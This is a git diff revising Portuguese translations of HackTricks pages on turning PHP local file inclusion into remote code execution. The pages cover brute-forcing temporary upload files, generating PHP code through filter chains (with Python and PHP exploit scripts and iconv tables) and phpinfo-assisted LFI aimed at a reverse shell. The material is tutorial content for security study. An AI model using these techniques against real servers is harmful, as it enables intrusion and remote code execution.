||||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## Informações Básicas
|
## Informação Básica
|
||||||
|
|
||||||
Por padrão, quando um arquivo é enviado para o PHP (mesmo que não esteja esperando), ele irá gerar um arquivo temporário em `/tmp` com um nome como **`php[a-zA-Z0-9]{6}`**, embora eu tenha visto algumas imagens docker onde os arquivos gerados não contêm dígitos.
|
Por padrão, quando um arquivo é enviado para o PHP (mesmo que não esteja esperando), ele irá gerar um arquivo temporário em `/tmp` com um nome como **`php[a-zA-Z0-9]{6}`**, embora eu tenha visto algumas imagens do docker onde os arquivos gerados não contêm dígitos.
|
||||||
|
|
||||||
Em uma inclusão de arquivo local, **se você conseguir incluir esse arquivo enviado, você obterá RCE**.
|
Em uma inclusão de arquivo local, **se você conseguir incluir esse arquivo enviado, obterá RCE**.
|
||||||
|
|
||||||
Note que por padrão **o PHP só permite enviar 20 arquivos em uma única requisição** (configurado em `/etc/php/<versão>/apache2/php.ini`):
|
Observe que por padrão **o PHP permite apenas o envio de 20 arquivos em uma única solicitação** (definido em `/etc/php/<versão>/apache2/php.ini`):
|
||||||
```
|
```
|
||||||
; Maximum number of files that can be uploaded via a single request
|
; Maximum number of files that can be uploaded via a single request
|
||||||
max_file_uploads = 20
|
max_file_uploads = 20
|
||||||
```
|
```
|
||||||
Também, o **número de nomes de arquivos potenciais é 62\*62\*62\*62\*62\*62 = 56800235584**
|
Também, o **número de nomes de arquivo potenciais são 62\*62\*62\*62\*62\*62 = 56800235584**
|
||||||
|
|
||||||
### Outras técnicas
|
### Outras técnicas
|
||||||
|
|
||||||
Outras técnicas dependem de atacar protocolos PHP (você não será capaz se controlar apenas a última parte do caminho), revelando o caminho do arquivo, abusando de arquivos esperados, ou **fazendo o PHP sofrer uma falha de segmentação para que arquivos temporários carregados não sejam excluídos**.\
|
Outras técnicas dependem de atacar os protocolos PHP (você não será capaz se controlar apenas a última parte do caminho), revelar o caminho do arquivo, abusar de arquivos esperados, ou **fazer o PHP sofrer uma falha de segmentação para que os arquivos temporários enviados não sejam excluídos**.\
|
||||||
Esta técnica é **muito semelhante à última, mas sem a necessidade de encontrar um zero day**.
|
Essa técnica é **muito semelhante à última, mas sem a necessidade de encontrar uma vulnerabilidade zero day**.
|
||||||
|
|
||||||
### Técnica de espera eterna
|
### Técnica de espera eterna
|
||||||
|
|
||||||
Nesta técnica **só precisamos controlar um caminho relativo**. Se conseguirmos carregar arquivos e fazer com que o **LFI nunca termine**, teremos "tempo suficiente" para **força bruta nos arquivos carregados** e **encontrar** qualquer um dos que foram carregados.
|
Nesta técnica **só precisamos controlar um caminho relativo**. Se conseguirmos enviar arquivos e fazer o **LFI nunca terminar**, teremos "tempo suficiente" para **forçar bruta os arquivos enviados** e **encontrar** qualquer um dos arquivos enviados.
|
||||||
|
|
||||||
**Vantagens desta técnica**:
|
**Prós desta técnica**:
|
||||||
|
|
||||||
* Você só precisa controlar um caminho relativo dentro de um include
|
* Você só precisa controlar um caminho relativo dentro de um include
|
||||||
* Não requer nginx ou nível inesperado de acesso a arquivos de log
|
* Não requer nginx ou um nível inesperado de acesso aos arquivos de log
|
||||||
* Não requer um 0 day para causar uma falha de segmentação
|
* Não requer uma vulnerabilidade zero day para causar uma falha de segmentação
|
||||||
* Não requer revelação de caminho
|
* Não requer uma revelação de caminho
|
||||||
|
|
||||||
Os **principais problemas** desta técnica são:
|
Os **principais problemas** desta técnica são:
|
||||||
|
|
||||||
* Necessidade de um arquivo específico(s) estar presente (pode haver mais)
|
* Necessidade de um arquivo(s) específico(s) estar presente (pode haver mais)
|
||||||
* A quantidade **insana** de nomes de arquivos potenciais: **56800235584**
|
* A **quantidade insana** de nomes de arquivo potenciais: **56800235584**
|
||||||
* Se o servidor **não estiver usando dígitos** o total potencial é: **19770609664**
|
* Se o servidor **não estiver usando dígitos**, o total potencial é: **19770609664**
|
||||||
* Por padrão **apenas 20 arquivos** podem ser carregados em uma **única requisição**.
|
* Por padrão, **apenas 20 arquivos** podem ser enviados em uma **única solicitação**.
|
||||||
* O **número máximo de trabalhadores paralelos** do servidor usado.
|
* O **número máximo de trabalhadores paralelos** do servidor utilizado.
|
||||||
* Este limite com os anteriores pode fazer este ataque durar demais
|
* Esse limite junto com os anteriores pode fazer com que esse ataque dure muito tempo
|
||||||
* **Tempo limite para uma requisição PHP**. Idealmente, isso deveria ser eterno ou deveria matar o processo PHP sem excluir os arquivos temporários carregados, se não, isso também será um problema
|
* **Tempo limite para uma solicitação PHP**. Idealmente, isso deveria ser eterno ou deveria encerrar o processo PHP sem excluir os arquivos temporários enviados, caso contrário, isso também será um problema
|
||||||
|
|
||||||
Então, como você pode **fazer um include PHP nunca terminar**? Apenas incluindo o arquivo **`/sys/kernel/security/apparmor/revision`** (**infelizmente não disponível em contêineres Docker**...).
|
Então, como você pode **fazer um include PHP nunca terminar**? Apenas incluindo o arquivo **`/sys/kernel/security/apparmor/revision`** (**não disponível em contêineres Docker** infelizmente...).
|
||||||
|
|
||||||
Tente apenas chamando:
|
Tente apenas chamando:
|
||||||
```bash
|
```bash
|
||||||
|
@ -62,41 +62,41 @@ include("/sys/kernel/security/apparmor/revision");
|
||||||
```
|
```
|
||||||
## Apache2
|
## Apache2
|
||||||
|
|
||||||
Por padrão, o Apache suporta **150 conexões simultâneas**, seguindo [https://ubiq.co/tech-blog/increase-max-connections-apache/](https://ubiq.co/tech-blog/increase-max-connections-apache/) é possível aumentar esse número para até 8000. Siga isto para usar PHP com esse módulo: [https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04).
|
Por padrão, o Apache suporta **150 conexões simultâneas**, seguindo [https://ubiq.co/tech-blog/increase-max-connections-apache/](https://ubiq.co/tech-blog/increase-max-connections-apache/) é possível aumentar esse número para 8000. Siga este tutorial para usar o PHP com esse módulo: [https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04).
|
||||||
|
|
||||||
Por padrão, (como posso ver em meus testes), um **processo PHP pode durar eternamente**.
|
Por padrão, (como pude ver nos meus testes), um **processo PHP pode durar eternamente**.
|
||||||
|
|
||||||
Vamos fazer algumas contas:
|
Vamos fazer alguns cálculos:
|
||||||
|
|
||||||
* Podemos usar **149 conexões** para gerar **149 \* 20 = 2980 arquivos temporários** com nosso webshell.
|
* Podemos usar **149 conexões** para gerar **149 \* 20 = 2980 arquivos temporários** com nossa webshell.
|
||||||
* Então, usar a **última conexão** para **força bruta** em arquivos potenciais.
|
* Em seguida, usar a **última conexão** para **forçar** possíveis arquivos.
|
||||||
* A uma velocidade de **10 solicitações/s** os tempos são:
|
* A uma velocidade de **10 solicitações/s** os tempos são:
|
||||||
* 56800235584 / 2980 / 10 / 3600 \~= **530 horas** (50% de chance em 265h)
|
* 56800235584 / 2980 / 10 / 3600 \~= **530 horas** (50% de chance em 265h)
|
||||||
* (sem dígitos) 19770609664 / 2980 / 10 / 3600 \~= 185h (50% de chance em 93h)
|
* (sem dígitos) 19770609664 / 2980 / 10 / 3600 \~= 185h (50% de chance em 93h)
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Note que no exemplo anterior estamos **completamente DoSing outros clientes**!
|
Note que no exemplo anterior estamos **completamente DoSando outros clientes**!
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Se o servidor Apache for melhorado e pudermos abusar de **4000 conexões** (metade do máximo). Poderíamos criar `3999*20 = 79980` **arquivos** e o **número** seria **reduzido** para cerca de **19.7h** ou **6.9h** (10h, 3.5h 50% de chance).
|
Se o servidor Apache for melhorado e pudermos abusar de **4000 conexões** (metade do caminho para o número máximo). Poderíamos criar `3999*20 = 79980` **arquivos** e o **número** seria **reduzido** para cerca de **19.7h** ou **6.9h** (10h, 3.5h 50% de chance).
|
||||||
|
|
||||||
## PHP-FMP
|
## PHP-FMP
|
||||||
|
|
||||||
Se, em vez de usar o módulo php regular para apache para executar scripts PHP, a **página web estiver usando** **PHP-FMP** (isso melhora a eficiência da página web, então é comum encontrá-lo), há algo mais que pode ser feito para melhorar a técnica.
|
Se em vez de usar o módulo php regular para o apache executar scripts PHP a **página da web estiver usando** **PHP-FMP** (isso melhora a eficiência da página da web, então é comum encontrá-lo), há algo mais que pode ser feito para melhorar a técnica.
|
||||||
|
|
||||||
PHP-FMP permite **configurar** o **parâmetro** **`request_terminate_timeout`** em **`/etc/php/<php-version>/fpm/pool.d/www.conf`**.\
|
O PHP-FMP permite **configurar** o **parâmetro** **`request_terminate_timeout`** em **`/etc/php/<versão-php>/fpm/pool.d/www.conf`**.\
|
||||||
Este parâmetro indica a quantidade máxima de segundos **quando** **a solicitação ao PHP deve terminar** (infinito por padrão, mas **30s se o parâmetro for descomentado**). Quando uma solicitação está sendo processada pelo PHP pelo número indicado de segundos, ela é **encerrada**. Isso significa que, se a solicitação estava fazendo upload de arquivos temporários, porque o **processamento php foi interrompido**, esses **arquivos não serão excluídos**. Portanto, se você puder fazer uma solicitação durar esse tempo, você pode **gerar milhares de arquivos temporários** que não serão excluídos, o que **acelerará o processo de encontrá-los** e reduz a probabilidade de um DoS na plataforma consumindo todas as conexões.
|
Este parâmetro indica a quantidade máxima de segundos **quando** a **solicitação ao PHP deve ser encerrada** (infinito por padrão, mas **30s se o parâmetro for descomentado**). Quando uma solicitação está sendo processada pelo PHP pelo número indicado de segundos, ela é **encerrada**. Isso significa que se a solicitação estava enviando arquivos temporários, porque o **processamento php foi interrompido**, esses **arquivos não serão excluídos**. Portanto, se você puder fazer uma solicitação durar esse tempo, você pode **gerar milhares de arquivos temporários** que não serão excluídos, o que **acelerará o processo de encontrá-los** e reduzirá a probabilidade de um DoS na plataforma ao consumir todas as conexões.
|
||||||
|
|
||||||
Então, para **evitar DoS** vamos supor que um **atacante estará usando apenas 100 conexões** ao mesmo tempo e o tempo máximo de processamento do php pelo **php-fmp** (`request_terminate_timeout`**) é **30s**. Portanto, o número de **arquivos temporários** que podem ser gerados **por segundo** é `100*20/30 = 66.67`.
|
Então, para **evitar DoS** vamos supor que um **atacante estará usando apenas 100 conexões** ao mesmo tempo e o tempo máximo de processamento do php pelo **php-fmp** (`request_terminate_timeout`**)** é **30s**. Portanto, o número de **arquivos temporários** que podem ser gerados **por segundo** é `100*20/30 = 66.67`.
|
||||||
|
|
||||||
Então, para gerar **10000 arquivos** um atacante precisaria de: **`10000/66.67 = 150s`** (para gerar **100000 arquivos** o tempo seria **25min**).
|
Então, para gerar **10000 arquivos** um atacante precisaria de: **`10000/66.67 = 150s`** (para gerar **100000 arquivos** o tempo seria de **25min**).
|
||||||
|
|
||||||
Então, o atacante poderia usar essas **100 conexões** para realizar uma **busca por força bruta**. \*\*\*\* Supondo uma velocidade de 300 req/s, o tempo necessário para explorar isso é o seguinte:
|
Então, o atacante poderia usar essas **100 conexões** para realizar uma **busca de força bruta**. Supondo uma velocidade de 300 req/s, o tempo necessário para explorar isso é o seguinte:
|
||||||
|
|
||||||
* 56800235584 / 10000 / 300 / 3600 \~= **5.25 horas** (50% de chance em 2.63h)
|
* 56800235584 / 10000 / 300 / 3600 \~= **5.25 horas** (50% de chance em 2.63h)
|
||||||
* (com 100000 arquivos) 56800235584 / 100000 / 300 / 3600 \~= **0.525 horas** (50% de chance em 0.263h)
|
* (com 100000 arquivos) 56800235584 / 100000 / 300 / 3600 \~= **0.525 horas** (50% de chance em 0.263h)
|
||||||
|
|
||||||
Sim, é possível gerar 100000 arquivos temporários em uma instância EC2 de tamanho médio:
|
Sim, é possível gerar 100000 arquivos temporários em uma instância de tamanho médio do EC2:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (3).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -107,17 +107,3 @@ Note que para acionar o tempo limite seria **suficiente incluir a página LFI vu
|
||||||
## Nginx
|
## Nginx
|
||||||
|
|
||||||
Parece que por padrão o Nginx suporta **512 conexões paralelas** ao mesmo tempo (e esse número pode ser melhorado).
|
Parece que por padrão o Nginx suporta **512 conexões paralelas** ao mesmo tempo (e esse número pode ser melhorado).
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
|
||||||
|
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* Obtenha o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
|
||||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga** me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
||||||
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
|
||||||
|
|
|
@ -2,51 +2,51 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## Introdução
|
## Introdução
|
||||||
|
|
||||||
Este [**artigo**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que você pode usar **filtros php para gerar conteúdo arbitrário** como saída. O que basicamente significa que você pode **gerar código php arbitrário** para o include **sem a necessidade de escrevê-lo** em um arquivo.
|
Este [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)explica que você pode usar **filtros php para gerar conteúdo arbitrário** como saída. O que basicamente significa que você pode **gerar código php arbitrário** para a inclusão **sem precisar escrevê-lo** em um arquivo.
|
||||||
|
|
||||||
Basicamente, o objetivo do script é **gerar uma string Base64** no **início** do arquivo que será **finalmente decodificada** fornecendo o payload desejado que será **interpretado pelo `include`**.
|
Basicamente, o objetivo do script é **gerar uma string Base64** no **início** do arquivo que será **finalmente decodificada** fornecendo a carga útil desejada que será **interpretada pelo `include`**.
|
||||||
|
|
||||||
As bases para fazer isso são:
|
As bases para fazer isso são:
|
||||||
|
|
||||||
* `convert.iconv.UTF8.CSISO2022KR` sempre adicionará `\x1b$)C` ao início da string
|
* `convert.iconv.UTF8.CSISO2022KR` sempre irá anteceder `\x1b$)C` à string
|
||||||
* `convert.base64-decode` é extremamente tolerante, basicamente ignorará quaisquer caracteres que não sejam base64 válidos. Ele apresenta alguns problemas se encontrar "=" inesperados, mas esses podem ser removidos com o filtro `convert.iconv.UTF8.UTF7`.
|
* `convert.base64-decode` é extremamente tolerante, basicamente apenas ignorará quaisquer caracteres que não sejam válidos base64. Isso causa alguns problemas se encontrar "=" inesperados, mas esses podem ser removidos com o filtro `convert.iconv.UTF8.UTF7`.
|
||||||
|
|
||||||
O loop para gerar conteúdo arbitrário é:
|
O loop para gerar conteúdo arbitrário é:
|
||||||
|
|
||||||
1. adicionar `\x1b$)C` à nossa string como descrito acima
|
1. anteceder `\x1b$)C` à nossa string conforme descrito acima
|
||||||
2. aplicar uma sequência de conversões iconv que mantém nossa base64 inicial intacta e converte a parte que acabamos de adicionar em uma string onde o único caractere base64 válido é a próxima parte do nosso código php codificado em base64
|
2. aplicar uma cadeia de conversões iconv que deixa nosso base64 inicial intacto e converte a parte que acabamos de anteceder para alguma string onde o único caractere base64 válido é a próxima parte do nosso código php codificado em base64
|
||||||
3. decodificar e codificar novamente em base64 a string, o que removerá qualquer lixo entre elas
|
3. decodificar e codificar em base64 a string, o que removerá qualquer lixo no meio
|
||||||
4. Voltar para 1 se o base64 que queremos construir ainda não estiver completo
|
4. Voltar para 1 se o base64 que queremos construir ainda não estiver completo
|
||||||
5. decodificar em base64 para obter nosso código php
|
5. decodificar em base64 para obter nosso código php
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
**Includes** geralmente fazem coisas como **adicionar ".php" no final** do arquivo, o que poderia dificultar a exploração disso porque você precisaria encontrar um arquivo .php com um conteúdo que não prejudique o exploit... ou você **poderia simplesmente usar `php://temp` como recurso** porque ele pode **ter qualquer coisa adicionada no nome** (como +".php") e ainda permitirá que o exploit funcione!
|
**Includes** geralmente fazem coisas como **anexar ".php" no final** do arquivo, o que poderia dificultar a exploração disso porque você precisaria encontrar um arquivo .php com um conteúdo que não anule a exploração... ou você **poderia simplesmente usar `php://temp` como recurso** porque ele pode **ter qualquer coisa anexada no nome** (como +".php") e ainda permitirá que a exploração funcione!
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Como adicionar também sufixos aos dados resultantes
|
## Como adicionar também sufixos aos dados resultantes
|
||||||
|
|
||||||
[**Este artigo explica**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) como você ainda pode abusar dos filtros PHP para adicionar sufixos à string resultante.
|
[**Este writeup explica**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) como você ainda pode abusar dos filtros PHP para adicionar sufixos à string resultante.
|
||||||
|
|
||||||
## Ferramentas Automáticas
|
## Ferramentas Automáticas
|
||||||
|
|
||||||
* [https://github.com/synacktiv/php\_filter\_chain\_generator](https://github.com/synacktiv/php\_filter\_chain\_generator)
|
* [https://github.com/synacktiv/php\_filter\_chain\_generator](https://github.com/synacktiv/php\_filter\_chain\_generator)
|
||||||
* [https://github.com/ambionics/wrapwrap](https://github.com/ambionics/wrapwrap) (pode adicionar sufixos)
|
* [https://github.com/ambionics/wrapwrap](https://github.com/ambionics/wrapwrap) (pode adicionar sufixos)
|
||||||
|
|
||||||
## Script completo
|
## Script Completo
|
||||||
```python
|
```python
|
||||||
import requests
|
import requests
|
||||||
|
|
||||||
|
@ -108,7 +108,7 @@ print(r.text)
|
||||||
```
|
```
|
||||||
### Melhorias
|
### Melhorias
|
||||||
|
|
||||||
O script anterior é limitado aos caracteres base64 necessários para aquele payload. Portanto, criei meu próprio script para **força bruta de todos os caracteres base64**:
|
O script anterior é limitado aos caracteres base64 necessários para essa carga útil. Portanto, criei meu próprio script para **forçar todos os caracteres base64**:
|
||||||
```php
|
```php
|
||||||
conversions = {
|
conversions = {
|
||||||
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
|
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
|
||||||
|
@ -177,7 +177,7 @@ conversions = {
|
||||||
'=': ''
|
'=': ''
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Aqui está o **script** para obter codificações que geram cada letra b64:
|
Aqui está o **script** para obter as codificações que geram cada letra b64:
|
||||||
```php
|
```php
|
||||||
<?php
|
<?php
|
||||||
|
|
||||||
|
@ -269,14 +269,14 @@ find_vals($init);
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda AWS hacking do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -7,7 +7,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -23,7 +23,7 @@ Você precisa corrigir o exploit (trocar **=>** por **=>**). Para fazer isso voc
|
||||||
```
|
```
|
||||||
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
||||||
```
|
```
|
||||||
Você precisa alterar também o **payload** no início do exploit (para um php-rev-shell, por exemplo), o **REQ1** (isso deve apontar para a página phpinfo e deve incluir o preenchimento, ou seja: _REQ1="""POST /install.php?mode=phpinfo\&a="""+preenchimento+""" HTTP/1.1_), e **LFIREQ** (isso deve apontar para a vulnerabilidade de LFI, ou seja: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Verifique o duplo "%" ao explorar o caractere nulo)
|
Deve alterar também o **payload** no início do exploit (para um php-rev-shell, por exemplo), o **REQ1** (que deve apontar para a página phpinfo e incluir o preenchimento, ou seja: _REQ1="""POST /install.php?mode=phpinfo\&a="""+preenchimento+""" HTTP/1.1_), e **LFIREQ** (que deve apontar para a vulnerabilidade de LFI, ou seja: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Verifique o duplo "%" ao explorar o caractere nulo)
|
||||||
|
|
||||||
{% file src="../../.gitbook/assets/LFI-With-PHPInfo-Assistance.pdf" %}
|
{% file src="../../.gitbook/assets/LFI-With-PHPInfo-Assistance.pdf" %}
|
||||||
|
|
||||||
|
@ -31,7 +31,7 @@ Você precisa alterar também o **payload** no início do exploit (para um php-r
|
||||||
|
|
||||||
Se os uploads são permitidos no PHP e você tentar fazer upload de um arquivo, esse arquivo é armazenado em um diretório temporário até que o servidor tenha terminado de processar a solicitação, então esse arquivo temporário é excluído.
|
Se os uploads são permitidos no PHP e você tentar fazer upload de um arquivo, esse arquivo é armazenado em um diretório temporário até que o servidor tenha terminado de processar a solicitação, então esse arquivo temporário é excluído.
|
||||||
|
|
||||||
Então, se você encontrou uma vulnerabilidade de LFI no servidor web, você pode tentar adivinhar o nome do arquivo temporário criado e explorar um RCE acessando o arquivo temporário antes que ele seja excluído.
|
Então, se você encontrou uma vulnerabilidade de LFI no servidor web, pode tentar adivinhar o nome do arquivo temporário criado e explorar um RCE acessando o arquivo temporário antes que ele seja excluído.
|
||||||
|
|
||||||
No **Windows**, os arquivos geralmente são armazenados em **C:\Windows\temp\php**
|
No **Windows**, os arquivos geralmente são armazenados em **C:\Windows\temp\php**
|
||||||
|
|
||||||
|
@ -65,14 +65,14 @@ print('[x] Something went wrong, please try again')
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
